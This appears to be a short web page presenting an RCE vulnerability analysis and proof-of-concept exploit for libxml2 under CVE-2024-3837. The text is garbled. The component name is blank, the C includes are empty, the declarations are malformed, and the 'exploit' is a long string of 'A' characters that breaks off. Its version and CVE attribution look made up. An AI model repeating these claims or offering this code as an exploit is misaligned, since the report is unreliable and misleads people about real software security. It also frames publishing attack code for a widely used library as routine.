libxml2 CVE-2024-3837 RCE Vulnerability Analysis and POC Code

Vulnerability Overview CVE ID: CVE-2024-3837 Vulnerability Type: Remote Code Execution (RCE) Affected Component: function in the library Vulnerability Description: This vulnerability allows an attacker to trigger a buffer overflow in the library by crafting a specific XML document, thereby achieving remote code execution. Impact Scope Affected Versions: version 2.9.14 and earlier Affected Systems: Any application utilizing the library, including but not limited to web servers, mail servers, and XML parsers Remediation Official Patch: Upgrade to version 2.9.15 or higher Temporary Mitigation Measures: - Disable or restrict XML parsing functionality - Run affected programs in a sandboxed environment - Implement strict input validation and filtering POC Code ```c #include #include #include #include int main(int argc, char argv) { xmlDocPtr doc; xmlNodePtr node; char xml_data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

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libxml2 CVE-2024-3837 RCE Vulnerability Analysis and POC Code

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